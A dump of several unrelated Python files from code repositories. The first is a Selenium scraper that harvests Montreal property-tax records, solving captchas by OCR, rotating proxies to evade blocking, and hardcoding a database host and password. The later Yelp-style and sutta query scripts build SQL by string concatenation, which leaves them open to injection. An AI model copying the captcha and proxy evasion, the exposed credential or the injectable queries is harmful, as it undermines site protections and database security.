NoSuchElementException:\n\t\t\t\t\t\t\treturn True\n\t\t\t#No numbers within 10 so skip ahead 8 (2 more added when Collect returns False)\n\t\t\tself.nextNumber += 8\n\t\t\tself.failInfo = \"Doesn't exist\"\n\t\t\treturn False\n\tdef ChooseOpt(self, number, name):\n\t\toptions = self.driver.find_elements_by_name(\"index\")\n\t\tbtn = self.driver.find_element_by_id(\"btnSoumettre\")\n\t\tif len(options) > 1:\n\t\t\tfor option in options:\n\t\t\t\toptNumber = self.ParseOptions(option.find_element_by_xpath(\"../../.\").text, name)\n\t\t\t\tif number > optNumber:\n\t\t\t\t\tcontinue\n\t\t\t\telif number <= optNumber:\n\t\t\t\t\toption.click()\n\t\t\t\t\tbtn.click()\n\t\t\t\t\treturn True\n\t\t\tself.failInfo = \"Doesn't exist\"\n\t\t\treturn False\n\t\telif len(options) == 1:\n\t\t\toptNumber = self.ParseOptions(options[0].find_element_by_xpath(\"../../.\").text, name)\n\t\t\tif number > optNumber:\n\t\t\t\tself.failInfo = \"Doesn't exist\"\n\t\t\t\treturn False\n\t\t\telif number <= optNumber:\n\t\t\t\toptions[0].click()\n\t\t\t\tbtn.click()\n\t\t\t\treturn True\n\t\telse:\n\t\t\treturn True\n\tdef TryNextPlace(self, place, name):\n\t\tst = self.driver.find_element_by_id(\"rue-tokenfield\")\n\t\tst.send_keys(name)\n\t\ttry:\n\t\t\twait = WebDriverWait(self.driver, 5).until(EC.presence_of_element_located((By.CLASS_NAME, \"ui-menu-item\")))\n\t\texcept TimeoutException:\n\t\t\treturn False\n\n\t\tdropdown = self.driver.find_element_by_xpath('//*[@id=\"ui-id-1\"]')\n\t\tfor option in dropdown.find_elements_by_tag_name('li'):\n\t\t\tif option.text == place:\n\t\t\t\toption.click()\n\t\t\t\tbreak\n\n\t\ttry:\n\t\t\twait = WebDriverWait(self.driver, 2).until(EC.element_to_be_clickable((By.ID, 'btnRechercher')))\n\t\texcept TimeoutException:\n\t\t\treturn False\n\n\t\tbtn = self.driver.find_element_by_id('btnRechercher')\n\t\tbtn.click()\n\n\t\ttry:\n\t\t\twait = WebDriverWait(self.driver, 10).until(EC.staleness_of(btn))\n\t\texcept TimeoutException:\n\t\t\treturn False\n\n\t\ttry:\n\t\t\terror = self.driver.find_element_by_xpath('//*[@id=\"noVoie.errors\"]')\n\t\t\treturn False\n\t\texcept NoSuchElementException:\n\t\t\tself.specificPlace = place\n\t\t\treturn True\n\n\tdef NextStreet(self):\n\t\tconn = self.ConnectDB()\n\t\tc = conn.cursor()\n\t\tc.execute(\"SELECT * FROM Montreal WHERE status = 'In Progress' AND claimed_by = (%s);\",(self.threadName,))\n\t\tentry = c.fetchone()\n\t\tif entry:\n\t\t\tpass\n\t\telse:\n\t\t\tc.execute(\"SELECT * FROM Montreal WHERE status IS NULL ORDER BY street\")\n\t\t\tentry = c.fetchone()\n\t\tif entry:\n\t\t\tstreet = entry[0]\n\t\t\tplace = entry[1]\n\t\t\tc.execute(\"SELECT l_first, l_last FROM numbers WHERE street = (%s) AND place = (%s)\", (street,place))\n\t\t\tleft = c.fetchall()\n\t\t\tc.execute(\"SELECT r_first, r_last FROM numbers WHERE street = (%s) AND place = (%s)\", (street,place))\n\t\t\tright = c.fetchall()\n\t\t\tc.execute(\"UPDATE Montreal SET status = 'In Progress' WHERE street = (%s) AND place = (%s)\", (street,place))\n\t\t\tc.execute(\"UPDATE Montreal SET claimed_by = (%s) WHERE street = (%s) AND place = (%s)\", (self.threadName,street,place))\n\t\t\tconn.commit()\n\t\t\tc.close()\n\t\t\tconn.close()\n\t\t\tleftRange = []\n\t\t\trightRange = []\n\t\t\tfor row in left:\n\t\t\t\tleftRange.append(tuple(map(int,row)))\n\t\t\tfor row in right:\n\t\t\t\trightRange.append(tuple(map(int,row)))\n\n\t\t\tleftN = list(self.JoinRanges(leftRange))\n\t\t\trightN = list(self.JoinRanges(rightRange))\n\n\t\t\tif leftN[0] == (0,0):\n\t\t\t\tleftN.remove((0,0))\n\t\t\tif rightN[0] == (0,0):\n\t\t\t\trightN.remove((0,0))\n\n\t\t\taddresses = {\"Street\": street, \"Left\":leftN,\"Right\":rightN, \"Place\": place, \"LastNum\": entry[3], \"LastSide\":entry[4]}\n\t\t\treturn addresses\n\t\telse:\n\t\t\tprint(\"Encountered an error fetching next street.\")\n\n\tdef CollectSide(self, side, addresses, start):\n\t\tplace = addresses[\"Place\"]\n\t\tstreet = addresses[\"Street\"].split(' ')\n\t\tif street[0][0].isdigit():\n\t\t\troad = street[1]\n\t\t\tname = street[0]\n\t\telse:\n\t\t\troad = street[0]\n\t\t\tname = street[1]\n\n\t\tself.nextNumber = int(start)\n\t\tfor r in addresses[side]:\n\t\t\tif self.nextNumber < r[0]:\n\t\t\t\tself.nextNumber = r[0]\n\t\t\twhile self.nextNumber <= r[1]:\n\t\t\t\tself.number = self.nextNumber\n\t\t\t\tif self.Collect(self.number, name, road, place):\n\t\t\t\t\tself.count += 1\n\t\t\t\t\tself.UpdateStreet(self.number, side, addresses[\"Street\"], place)\n\t\t\t\t\tif self.count > 50:\n\t\t\t\t\t\tself.count = 0\n\t\t\t\t\t\tself.RefreshWindow()\n\t\t\t\telse:\n\t\t\t\t\tself.UpdateStreet(self.number, side, addresses[\"Street\"], place)\n\t\t\t\t\tself.ReportFail(self.number, side, addresses[\"Street\"], place)\n\t\t\t\t\tself.nextNumber += 2\n\t\tself.specificPlace = ''\n\n\tdef Collect(self, number, name, road, place):\n\t\tif self.Captcha(5) == False:\n\t\t\tlogging.info('Captcha failed 5 times')\n\t\t\treturn False\n\t\tif self.Form(number, name, road, place) == False:\n\t\t\tlogging.info('Form failed for %s %s %s %s', number, name, road, place)\n\t\t\treturn False\n\t\tif self.SaveData(name) == True:\n\t\t\treturn True\n\t\telse:\n\t\t\tlogging.info('Save data failed for %s %s %s %s', number, name, road, place)\n\t\t\treturn False\n\tdef SaveData(self,name):\n\t\telement_present = EC.presence_of_element_located((By.ID, \"section-1\"))\n\t\ttry:\n\t\t\twait = WebDriverWait(self.driver, 10).until(element_present)\n\t\texcept TimeoutException:\n\t\t\treturn False\n\t\ttables = ['1','2','3','4']\n\t\taddress = self.driver.find_element_by_xpath('//*[@id=\"section-1\"]/table/tbody/tr[1]/th').text\n\t\tfilename = address.replace(' - ', '-').replace(' ','_')\n\t\t#Save all text from tables to file\n\t\ttry:\n\t\t\twith open('data/'+filename + '.txt','w') as f:\n\t\t\t\tfor i in tables:\n\t\t\t\t\ttable = self.driver.find_element_by_xpath('//*[@id=\"section-'+i+'\"]/table')\n\t\t\t\t\tfor tr in table.find_elements_by_tag_name(\"tr\"):\n\t\t\t\t\t\tf.write(tr.text + '\\n')\n\t\texcept Exception as e:\n\t\t\tlogging.debug(e)\n\t\t\treturn False\n\t\t#Download .pdfs of previous years\n\t\ttry:\n\t\t\tlinks = self.driver.find_elements_by_partial_link_text(\"Compte de taxes\")\n\t\t\tfor link in links[1:]:\n\t\t\t\tlink.click()\n\t\tfinally:\n\t\t\tif name in address:\n\t\t\t\tself.number = self.ParseOptions(address, name)\n\t\t\t\tif self.nextNumber > self.number:\n\t\t\t\t\tself.number = self.nextNumber\n\t\t\t\t\tself.nextNumber += 2\n\t\t\t\telse:\n\t\t\t\t\tself.nextNumber = self.number + 2\n\t\t\telse:\n\t\t\t\tself.number = self.nextNumber\n\t\t\t\tself.nextNumber += 2\n\n\t\t\treturn True\n\n\tdef Solve(self):\n\t\timg = cv2.imread('screenshot'+self.threadName+'.png',0)[734:754, 412:509]\n\t\tret, th = cv2.threshold(img, 80, 255, cv2.THRESH_TOZERO_INV)\n\t\tret, th2 = cv2.threshold(th, 10, 255, cv2.THRESH_BINARY_INV)\n\t\tnew = Image.fromarray(th2)\n\t\ttext = pytesseract.image_to_string(new, config=\"-psm 5 letters\")\n\t\tcaptcha = ''\n\n\t\tfor c in text[::-1]:\n\t\t\tcaptcha += c.strip()\n\n\t\tif (len(captcha)) < 6:\n\t\t\tcaptcha = pytesseract.image_to_string(new, config=\"-psm 6 letters\")\n\n\t\treturn captcha\n\n\tdef JoinRanges(self, data, offset=2):\n\t\tLEFT, RIGHT = 1, -1\n\t\tflatten = chain.from_iterable\n\t\tdata = sorted(flatten(((start, LEFT), (stop + offset, RIGHT)) for start, stop in data))\n\t\tc = 0\n\t\tfor value, label in data:\n\t\t\tif c == 0:\n\t\t\t\tx = value\n\t\t\tc += label\n\t\t\tif c == 0:\n\t\t\t\tyield x, value - offset\n\n\tdef RefreshWindow(self):\n\t\tself.Close()\n\t\tif self.useProxy:\n\t\t\tself.ReleaseProxy()\n\t\tself.StartBrowser()\n\tdef ConnectDB(self):\n\t\twhile True:\n\t\t\ttry:\n\t\t\t\tconn = pg.connect(dbname='Addresses', host='east-post1.cb9zvudjieab.us-east-2.rds.amazonaws.com', port=5432, user='gnorme', password='superhairydick1')\n\t\t\t\treturn conn\n\t\t\texcept pg.OperationalError:\n\t\t\t\tprint(\"DB connect failed\")\n\t\t\t\tlogging.info(\"DB Connect failed\")\n\t\t\t\ttime.sleep(120)\n\n\tdef ReportFail(self, number, side, street, place):\n\t\tconn = self.ConnectDB()\n\t\tc = conn.cursor()\n\t\tc.execute(\"INSERT INTO Fails (num, street, place, side, info) VALUES (%s, %s, %s, %s, %s);\", (number, street, place, side, self.failInfo))\n\t\tconn.commit()\n\t\tc.close()\n\t\tconn.close()\n\tdef GetProxy(self):\n\t\tconn = self.ConnectDB()\n\t\tc = conn.cursor()\n\t\tc.execute(\"SELECT ip,port FROM Proxies WHERE status = 'Working' ORDER BY response;\")\n\t\tself.proxy = c.fetchone()\n\t\tc.execute(\"UPDATE Proxies SET status = 'In Use' WHERE ip = (%s) AND port = (%s);\",(self.proxy[0],self.proxy[1]))\n\t\tconn.commit()\n\t\tc.close()\n\t\tconn.close()\n\tdef ReleaseProxy(self):\n\t\tconn = self.ConnectDB()\n\t\tc = conn.cursor()\n\t\tc.execute(\"UPDATE Proxies set status = 'Working' WHERE ip = (%s) AND port = (%s);\", (self.proxy[0], self.proxy[1]))\n\t\tconn.commit()\n\t\tc.close()\n\t\tconn.close()\n\tdef ChangeProxy(self):\n\t\tself.driver.quit()\n\t\tconn = self.ConnectDB()\n\t\tc = conn.cursor()\n\t\tc.execute(\"UPDATE Proxies SET status = 'Stale' WHERE ip = (%s) AND port = (%s);\",(self.proxy[0],self.proxy[1]))\n\t\tconn.commit()\n\t\tc.close()\n\t\tconn.close()\n\t\tself.StartBrowser()\n\tdef UpdateStatus(self, status,street,place):\n\t\tconn = self.ConnectDB()\n\t\tc = conn.cursor()\n\t\tc.execute(\"UPDATE Montreal SET status = (%s) WHERE street = (%s) AND place = (%s);\",(status,street,place))\n\t\tconn.commit()\n\t\tc.close()\n\t\tconn.close()\n\tdef UpdateStreet(self, number, side, street, place):\n\t\tconn = self.ConnectDB()\n\t\tc = conn.cursor()\n\t\tc.execute(\"UPDATE Montreal SET last_number = (%s) WHERE street = (%s) AND place = (%s)\",(number,street,place))\n\t\tc.execute(\"UPDATE Montreal SET last_side = (%s) WHERE street = (%s) AND place = (%s)\",(side,street,place))\n\t\tc.execute(\"UPDATE Montreal SET last_modified = (%s) WHERE street = (%s)AND place = (%s)\",(datetime.now(),street,place))\n\t\tconn.commit()\n\t\tc.close()\n\t\tconn.close()\n\tdef ParseOptions(self, label, name):\n\t\tnameIndex = label.find(name)\n\t\tindex = label[:nameIndex].find(' - ')\n\t\tif index >= 0:\n\t\t\tindex2 = label[index+3:].find(' ')\n\t\t\tn2 = label[index+3:index+3+index2]\n\t\t\tif n2.isdigit():\n\t\t\t\treturn int(n2)\n\t\t\telse:\n\t\t\t\treturn int(''.join(filter(lambda x: x.isdigit(), n2)))\n\t\telse:\n\t\t\tindex2 = label.find(' ')\n\t\t\tn1 = label[:index2]\n\t\t\tif n1.isdigit():\n\t\t\t\treturn int(n1)\n\t\t\telse:\n\t\t\t\ttry:\n\t\t\t\t\treturn int(''.join(filter(lambda x: x.isdigit(), n1)))\n\t\t\t\texcept ValueError:\n\t\t\t\t\treturn 0\n\tdef Debug(self):\n\t\tself.driver.get(\"http://www.google.ca\")\n\tdef Close(self):\n\t\tself.driver.close()\n","repo_name":"Gnorme/collect","sub_path":"collect.py","file_name":"collect.py","file_ext":"py","file_size_in_byte":16392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72137099394","text":"from selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.chrome.service import Service \nfrom webdriver_manager.chrome import ChromeDriverManager\n\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nimport time\n\nimport tkinter as tk\nfrom tkinter import filedialog\n\nclass Automaps:\n\n def __init__(self, url):\n self.url = url\n self.USER_DATA_PATH = self.set_chrome_user_path()\n self.driver = self.launch_page()\n\n def set_chrome_user_path(self):\n # open txt file\n path = \"\"\n try:\n with open(\"ChromeUserPath.txt\", 'a+') as file:\n pos = file.tell()\n # if txt file not empty: read file contents as path\n if pos != 0:\n file.seek(0,0) # opened in append mode, cursor has to be reset\n path = file.readline() \n\n # empty, open file explorer \n else: \n root = tk.Tk()\n root.withdraw()\n path = filedialog.askdirectory()\n file.write(path)\n except Exception as e:\n print( \"error opening path file: \", e) \n\n return path\n \n def clear_searchbar(self):\n clear_button = self.driver.find_element(By.CSS_SELECTOR, \"#searchbox > div.lSDxNd > button\")\n clear_button.click()\n\n def launch_page(self):\n # Chrome options to load signed-in chrome profile\n chrome_options = Options()\n # Path should be something like:\n # \"C:\\\\Users\\\\USER\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\\") # Opens chrome profile\n chrome_options.add_argument(\"--user-data-dir=\" + self.USER_DATA_PATH) \n chrome_options.add_experimental_option(\"detach\", True)\n\n driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()), options=chrome_options)\n driver.get(self.url)\n print( driver.title)\n\n # wait for webpage to load completely\n driver.implicitly_wait(3)\n return driver\n\n def enter_address(self, address):\n # Searchbar element\n textbox = self.driver.find_element(By.ID, \"searchboxinput\")\n textbox.send_keys( address )\n textbox.send_keys(Keys.ENTER)\n\n def save_to_list(self, listName): \n button = self.driver.find_element(By.CSS_SELECTOR, \"#QA0Szd>div>div>div.w6VYqd>div.bJzME.tTVLSc>div>div.e07Vkf.kA9KIf>div>div>div.m6QErb.Pf6ghf.ecceSd.tLjsW>div:nth-child(2)>button\")\n button.click()\n bombSheltersList = self.driver.find_element(By.XPATH,\"//div[.='\" + listName + \"']\")\n bombSheltersList.click()\n\n def add_note(self, note):\n button = self.driver.find_element(By.CSS_SELECTOR, \"#QA0Szd > div > div > div.w6VYqd > div.bJzME.tTVLSc > div > div.e07Vkf.kA9KIf > div > div > div:nth-child(7) > div > div.m6QErb.Duzcee > div.m6QErb.tLjsW > div:nth-child(1) > button > div\")\n button.click()\n textbox = self.driver.find_element(By.CSS_SELECTOR, \"#modal-dialog > div > div.hoUMge > div > div.yFnP6d > div > div > div.Xsdp7b > textarea\")\n textbox.send_keys(note)\n doneButton = self.driver.find_element(By.CSS_SELECTOR, \"#modal-dialog > div > div.hoUMge > div > div.yFnP6d > div > div > div.vV6Pxc > div.LKVNAb > button.okDpye.PpaGLb.mta2Ab\")\n doneButton.click()\n","repo_name":"RanelDL/GMapsListBuilder","sub_path":"src/loadLocations.py","file_name":"loadLocations.py","file_ext":"py","file_size_in_byte":3402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21391817778","text":"#!/usr/bin/env python\nimport sys\nfrom PyQt5.QtWidgets import QMainWindow, QApplication, QWidget, QAction, QTableWidget, QTableWidgetItem, QVBoxLayout\nfrom PyQt5 import uic, QtCore\nfrom PyQt5.QtGui import QIcon, QPixmap\nimport psycopg2\n\nqt_creator_file = \"MatthewYien-YelpApp.ui\"\n\nUi_MainWindow, QtBaseClass = uic.loadUiType(qt_creator_file)\n\n\nclass YelpApp(QMainWindow):\n def __init__(self):\n super(YelpApp, self).__init__()\n self.ui = Ui_MainWindow()\n\n # GUI Elements - Businesses Page\n self.ui.setupUi(self)\n self.load_state_list()\n self.ui.stateList.currentTextChanged.connect(self.state_changed)\n self.ui.cityList.itemSelectionChanged.connect(self.city_changed)\n self.ui.zipList.itemSelectionChanged.connect(self.zip_changed)\n self.ui.zipList.itemSelectionChanged.connect(self.zipcode_stat)\n self.ui.searchButton.clicked.connect(self.search_button_pressed)\n self.ui.clearButton.clicked.connect(self.clear_button_pressed)\n self.ui.refreshButton.clicked.connect(self.refresh_button_pressed)\n\n def execute_query(self, query):\n try:\n # Will need to change data to your database\n connection = psycopg2.connect(\"dbname='yelpdb' user='postgres' host='localhost' password='accessEntry'\")\n except:\n print(\"Unable to connect to the database.\")\n\n cur = connection.cursor()\n cur.execute(query)\n connection.commit()\n result = cur.fetchall()\n connection.close()\n return result\n\n def load_state_list(self):\n self.ui.stateList.clear()\n sql_command = \"SELECT distinct state_name FROM business ORDER BY state_name;\"\n print(sql_command)\n print(\"\")\n\n try:\n results = self.execute_query(sql_command)\n print(results)\n print(\"\")\n\n for row in results:\n self.ui.stateList.addItem(row[0])\n except:\n print(\"Query failed.\")\n\n self.ui.stateList.setCurrentIndex(-1)\n self.ui.stateList.clearEditText()\n\n def state_changed(self):\n self.ui.cityList.clear()\n state = self.ui.stateList.currentText()\n if self.ui.stateList.currentIndex() >= 0:\n sql_command = \"SELECT distinct city FROM business WHERE state_name = '\" + state + \"' ORDER BY city;\"\n print(sql_command)\n print(\"\")\n\n try:\n results = self.execute_query(sql_command)\n print(results)\n print(\"\")\n\n for row in results:\n self.ui.cityList.addItem(row[0])\n except:\n print(\"Query failed - state_changed().\")\n\n def city_changed(self):\n self.ui.zipList.clear()\n state = self.ui.stateList.currentText()\n city = self.ui.cityList.selectedItems()[0].text()\n\n if (self.ui.stateList.currentIndex() >= 0) and (len(self.ui.cityList.selectedItems()) > 0):\n sql_command = \"SELECT distinct zip_code FROM business WHERE state_name = '\" + state + \"' AND city = '\" + city + \"' ORDER BY zip_code;\"\n print(sql_command)\n print(\"\")\n\n try:\n results = self.execute_query(sql_command)\n print(results)\n print(\"\")\n\n for row in results:\n item = str(row[0])\n self.ui.zipList.addItem(item)\n except:\n print(\"Query failed - city_changed().\")\n\n def zip_changed(self):\n self.ui.categoryList.clear()\n self.ui.businessTable.clear()\n zipcode = self.ui.zipList.selectedItems()[0].text()\n\n if len(self.ui.zipList.selectedItems()) > 0:\n sql_command = \"SELECT distinct category_type FROM hascategory, business WHERE zip_code = '\" + zipcode + \"' AND hascategory.business_id = business.business_id ORDER BY category_type;\"\n print(sql_command)\n print(\"\")\n\n try:\n results = self.execute_query(sql_command)\n print(results)\n print(\"\")\n\n for row in results:\n self.ui.categoryList.addItem(row[0])\n except:\n print(\"Query failed - zip_changed().\")\n\n sql_command2 = \"SELECT business_name, address, city, business_avg_star, num_of_checkins, num_of_tips FROM business WHERE zip_code = '\" + zipcode + \"' ORDER BY business_name;\"\n print(sql_command2)\n print(\"\")\n\n try:\n results2 = self.execute_query(sql_command2)\n print(results2)\n print(\"\")\n\n style = \"::section {\"\"background-color: #e4e1e2; }\"\n self.ui.businessTable.horizontalHeader().setStyleSheet(style)\n self.ui.businessTable.setColumnCount(len(results2[0]))\n self.ui.businessTable.setRowCount(len(results2))\n self.ui.businessTable.setHorizontalHeaderLabels(\n [\"Business Name\", \"Address\", \"City\", \"Stars\", \"Num of Checkins\", \"Num of Tips\"])\n self.ui.businessTable.resizeColumnsToContents()\n self.ui.businessTable.setColumnWidth(0, 275)\n self.ui.businessTable.setColumnWidth(1, 250)\n self.ui.businessTable.setColumnWidth(2, 120)\n self.ui.businessTable.setColumnWidth(3, 60)\n self.ui.businessTable.setColumnWidth(4, 90)\n self.ui.businessTable.setColumnWidth(5, 75)\n\n current_row_count = 0\n\n for row in results2:\n for col_count in range(0, len(results2[0])):\n self.ui.businessTable.setItem(current_row_count, col_count,\n QTableWidgetItem(str(row[col_count])))\n\n current_row_count += 1\n except:\n print(\"Query failed - business_table_display.\")\n\n def zipcode_stat(self):\n self.ui.numBusinesses.clear()\n self.ui.topCategory.clear()\n zipcode = self.ui.zipList.selectedItems()[0].text()\n\n if len(self.ui.zipList.selectedItems()) > 0:\n sql_command1 = \"SELECT count(*) FROM business WHERE zip_code = '\" + zipcode + \"'\"\n print(sql_command1)\n print(\"\")\n\n sql_command2 = \"SELECT count(*) as num_business, category_type FROM hascategory, business WHERE zip_code = '\" + zipcode + \"' AND hascategory.business_id = business.business_id GROUP BY category_type ORDER BY num_business DESC;\"\n print(sql_command2)\n print(\"\")\n\n try:\n results1 = self.execute_query(sql_command1)\n print(results1)\n print(\"\")\n\n self.ui.numBusinesses.addItem(str(results1[0][0]))\n\n except:\n print(\"Query failed - zipcode_stat1().\")\n\n try:\n results2 = self.execute_query(sql_command2)\n print(results2)\n print(\"\")\n\n style = \"::section {\"\"background-color: #21bfae; }\"\n self.ui.topCategory.horizontalHeader().setStyleSheet(style)\n self.ui.topCategory.setColumnCount(len(results2[0]))\n self.ui.topCategory.setRowCount(len(results2))\n self.ui.topCategory.setHorizontalHeaderLabels([\"Num of Businesses\", \"Category\"])\n self.ui.topCategory.resizeColumnsToContents()\n self.ui.topCategory.setColumnWidth(0, 150)\n self.ui.topCategory.setColumnWidth(1, 400)\n\n current_row_count = 0\n\n for row in results2:\n for col_count in range(0, len(results2[0])):\n self.ui.topCategory.setItem(current_row_count, col_count, QTableWidgetItem(str(row[col_count])))\n current_row_count += 1\n except:\n print(\"Query failed - zipcode_stat2().\")\n\n def search_button_pressed(self):\n category = self.ui.categoryList.selectedItems()[0].text()\n\n if len(self.ui.categoryList.selectedItems()) > 0:\n zipcode = self.ui.zipList.selectedItems()[0].text()\n\n for i in reversed(range(self.ui.businessTable.rowCount())):\n self.ui.businessTable.removeRow(i)\n\n sql_command = \"SELECT business_name, address, city, business_avg_star, num_of_checkins, num_of_tips FROM hascategory, business WHERE category_type = '\" + category + \"' AND zip_code = '\" + zipcode + \"' AND hascategory.business_id = business.business_id ORDER BY business_name;\"\n print(sql_command)\n print(\"\")\n\n try:\n results = self.execute_query(sql_command)\n print(results)\n print(\"\")\n\n style = \"::section {\"\"background-color: #07635E; }\"\n self.ui.businessTable.horizontalHeader().setStyleSheet(style)\n self.ui.businessTable.setColumnCount(len(results[0]))\n self.ui.businessTable.setRowCount(len(results))\n self.ui.businessTable.setHorizontalHeaderLabels(\n [\"Business Name\", \"Address\", \"City\", \"Stars\", \"Num of Checkins\", \"Num of Tips\"])\n self.ui.businessTable.resizeColumnsToContents()\n self.ui.businessTable.setColumnWidth(0, 350)\n self.ui.businessTable.setColumnWidth(1, 250)\n self.ui.businessTable.setColumnWidth(2, 70)\n self.ui.businessTable.setColumnWidth(3, 30)\n self.ui.businessTable.setColumnWidth(4, 100)\n self.ui.businessTable.setColumnWidth(5, 70)\n\n current_row_count = 0\n\n for row in results:\n for col_count in range(0, len(results[0])):\n self.ui.businessTable.setItem(current_row_count, col_count,\n QTableWidgetItem(str(row[col_count])))\n\n current_row_count += 1\n except:\n print(\"Query failed - search_button_pressed().\")\n\n def clear_button_pressed(self):\n self.ui.businessTable.clear()\n self.ui.businessTable.setColumnCount(0)\n\n def refresh_button_pressed(self):\n self.ui.popularBusinessesTable.clear()\n category = self.ui.categoryList.selectedItems()[0].text()\n\n self.ui.popularBusinessesTable.setColumnCount(0)\n\n if len(self.ui.categoryList.selectedItems()) > 0:\n zipcode = self.ui.zipList.selectedItems()[0].text()\n\n sql_command = \"SELECT businesspopularity.business_name, businesspopularity.num_of_checkins, businesspopularity.num_of_tips, businesspopularity.business_avg_star, popularity_rating FROM businesspopularity, business WHERE category_type = '\" + category + \"' AND zip_code = '\" + zipcode + \"' AND businesspopularity.business_id = business.business_id\" + \" ORDER BY popularity_rating DESC;\"\n print(sql_command)\n print(\"\")\n\n try:\n results = self.execute_query(sql_command)\n print(results)\n print(\"\")\n\n style = \"::section {\"\"background-color: #42ded1; }\"\n self.ui.popularBusinessesTable.horizontalHeader().setStyleSheet(style)\n self.ui.popularBusinessesTable.setColumnCount(len(results[0]))\n self.ui.popularBusinessesTable.setRowCount(len(results))\n self.ui.popularBusinessesTable.setHorizontalHeaderLabels(\n [\"Business Name\", \"Num of Check-ins\", \"Num of Tips\", \"Avg_rating\", \"Popularity Score\"])\n self.ui.popularBusinessesTable.resizeColumnsToContents()\n self.ui.popularBusinessesTable.setColumnWidth(0, 400)\n self.ui.popularBusinessesTable.setColumnWidth(1, 150)\n self.ui.popularBusinessesTable.setColumnWidth(2, 150)\n self.ui.popularBusinessesTable.setColumnWidth(3, 150)\n self.ui.popularBusinessesTable.setColumnWidth(4, 200)\n\n current_row_count = 0\n\n for row in results:\n for col_count in range(0, len(results[0])):\n self.ui.popularBusinessesTable.setItem(current_row_count, col_count, QTableWidgetItem(str(row[col_count])))\n\n current_row_count += 1\n except:\n print(\"Query failed - get_popular_business().\")\n\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n window = YelpApp()\n window.show()\n sys.exit(app.exec_())","repo_name":"KeyProgression/YelpLikeApp","sub_path":"MatthewYien-YelpApp.py","file_name":"MatthewYien-YelpApp.py","file_ext":"py","file_size_in_byte":12625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31711265716","text":"'''\nCreated on 01/02/2013\n\n@author: rafael.cunha\n'''\nfrom model import * \n\nclass SessionManager():\n\n @classmethod\n def check_credentials(self,username):\n if not Core.is_initialized():\n Core.initialize()\n for user in User.objects(first_name = username):\n return user\n return None\n \n","repo_name":"kalunga/webapp","sub_path":"appController.py","file_name":"appController.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24384526101","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport os\nimport re\nimport sys\nimport sqlite3\n\ndef query_tfidf ():\n if (len(sys.argv) < 2):\n print(\"Usage: python[3.7] query_sutta_db.py \")\n return\n\n search_words = sys.argv[1]\n conn = sqlite3.connect('suttas.db')\n c = conn.cursor()\n\n search_words = search_words.lower()\n # SELECT \"_rowid_\",* FROM \"main\".\"word\" WHERE \"word\" LIKE '%root%' ESCAPE '\\' ORDER BY \"_rowid_\" ASC LIMIT 0, 49999;\n sql_cmd_1 = \"SELECT \\\"_rowid_\\\",* FROM \\\"main\\\".\\\"word\\\" WHERE \\\"word\\\" LIKE '\"+search_words+\"' ESCAPE \\'\\\\' ORDER BY \\\"_rowid_\\\" ASC LIMIT 0, 49999;\"\n # print (sql_cmd_1) \n c.execute(sql_cmd_1)\n result = c.fetchall()\n # print(result)\n if (result == []):\n print(\"No results found. Please change the term you're looking for.\")\n conn.close()\n return\n\n word_id = str(result[0][-1])\n # print(word_id)\n sql_cmd_1 = \"SELECT \\\"_rowid_\\\",* FROM \\\"main\\\".\\\"tfidf\\\" WHERE \\\"word\\\" LIKE '\"+word_id+\"' ORDER BY \\\"tfidf\\\" DESC LIMIT 0, 100;\"\n # print (sql_cmd_1) \n c.execute(sql_cmd_1)\n result = c.fetchall()\n # print(result)\n\n # base='https://suttacentral.net/'\n\n res_str = \"Sutta: \\tmatches: \\tTF: \\tTF-IDF: \"\n print(res_str)\n for k in result:\n # print (k)\n sutta_id = str(k[1])\n sql_cmd_1 = \"SELECT \\\"_rowid_\\\",* FROM \\\"main\\\".\\\"sutta\\\" WHERE \\\"id\\\" LIKE '\"+sutta_id+\"' ESCAPE \\'\\\\' ORDER BY \\\"_rowid_\\\" ASC LIMIT 0, 49999;\"\n # print (sql_cmd_1) \n c.execute(sql_cmd_1)\n result2 = c.fetchone()\n # print(result2)\n # sc_url = base + result2[1] + '/en/sujato'\n res_str = result2[1] + \"\\t\" + str(k[3]) + \"\\t\" + str(k[4]) + \"\\t\" + str(k[5])\n print(res_str)\n\n conn.close()\n\ndef main():\n \n query_tfidf ()\n\n # file_of_words_to_idf ()\n \n\nif __name__ == \"__main__\":\n main()","repo_name":"gboenn/suttas_text_and_audio","sub_path":"query_sutta_db.py","file_name":"query_sutta_db.py","file_ext":"py","file_size_in_byte":1895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36424753589","text":"import random\nimport copy\n\nfrom location import Location\nfrom util import nCr\nfrom warehouse_parameters import N_ROWS, N_COLS, N_ROBOTS, N_STACKS, N_ITEMS\n\nclass State:\n \"\"\"\n The state of the environment.\n \n The state of the environment contains a list of the locations of the \n robots, a list of the locations of the stacks, and a list of integers that\n indicate the number of items on each stack that have been ordered by \n Amazon customers. The state is used by the agent to determine which action \n to take.\n \n To reduce the size of the state space, we group together all states where \n the robot/stack locations are the same but are ordered differently. To\n implement this grouping, anytime the robot/stack locations are changed, we\n reorder the lists contained in the state object so that the locations are \n in ascending order. \n \n For example, consider if we had the following state:\n \n robot_locs = [(0,1), (1,2), (1,1)]\n stack_locs = [(0,1), (1,1), (0,0)]\n orders = [0, 1, 1]\n \n The robot_locs list would be reordered by switching the order of the last \n two locations. The stack_locs list would be reordered by moving the last \n location to the front of the list. Since the orders list contains numbers \n that correspond to particular stacks, the orders list should be reordered\n by performing the same rearrangements that the stack_locs list made \n instead of reordering the list based on the integers it contains. \n \n Our resulting state would be as follows:\n \n robot_locs = [(0,1), (1,1), (1,2)]\n stack_locs = [(0,0), (0,1), (1,1)]\n orders = [1, 0, 1]\n \n Attributes\n ----------\n valid_locs : [Location]\n The valid locations that a robot or stack could be located in. This\n attribute should not be changed.\n 